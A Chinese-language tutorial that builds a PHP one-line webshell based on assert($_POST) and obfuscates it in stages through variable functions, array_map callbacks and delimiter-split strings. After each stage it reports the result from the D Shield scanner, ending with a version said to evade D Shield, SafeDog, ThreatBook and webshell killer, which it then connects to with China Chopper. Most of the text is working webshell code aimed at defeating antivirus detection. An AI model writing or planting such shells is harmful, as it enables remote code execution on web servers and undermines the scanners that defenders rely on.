首先一句話木馬:
<?php assert($_POST['a']); ?>
D盾掃描,5級
分開寫:
1 <?php 2 $a = "assert"; 3 $b = $_POST['a']; 4 $a($b); 5 6 ?>
D盾掃描,4級
使用可變函式的技巧(PHP 支援可變函式的概念。這意味著如果一個變數名後有圓括號,PHP 將尋找與變數的值同名的函式,並且嘗試執行它。可變函式可以用來實現包括回撥函式,函式表在內的一些用途)
1 <?php 2 $a = "assert"; 3 $fun = "a"; 4 $$fun($_POST['a']); 5 ?>
D盾掃描,3級
使用array_map()函式(為陣列的每個元素應用回撥函式)
1 <?php 2 $a = "assert"; 3 $fun = "a"; 4 array_map($$fun, array($_POST['a'])); 5 ?>
D盾掃描,2級
把assert處理一下
1 <?php 2 function f(){ 3 $s = "aABKingsABKingsABKingeABKingrABKingt"; 4 $arr = explode("ABKing", $s); 5 $result = $arr[0].$arr[1].$arr[2].$arr[3].$arr[4].$arr[5]; 6 return $s; 7 } 8 $a = $_POST['a']; 9 $s = f(); 10 array_map($s, array($a)); 11 ?>
D盾掃描,1級
既然顯示陣列字串合併,那麼我們再處理得複雜一些
1 <?php 2 function argu($a, $b){ 3 $ext = explode('ABKing',$a); 4 $ext1 = $ext[0]; 5 $ext2 = $ext[1]; 6 $ext3 = $ext[2]; 7 $ext4 = $ext[3]; 8 $ext5 = $ext[4]; 9 $ext6 = $ext[5]; 10 $arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6; 11 $arr[1] = $b; 12 return $arr; 13 } 14 $b = $_POST['x']; 15 $arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b); 16 $x = $arr[0]; 17 $y = $arr[1]; 18 array_map($x, array($y)); 19 ?>
D盾掃描,成功免殺
安全狗掃描,免殺
微步,免殺
webshell killer,免殺
接下來拿菜刀連線,成功:
參考資料:
如何優雅的隱藏你的webshell:https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug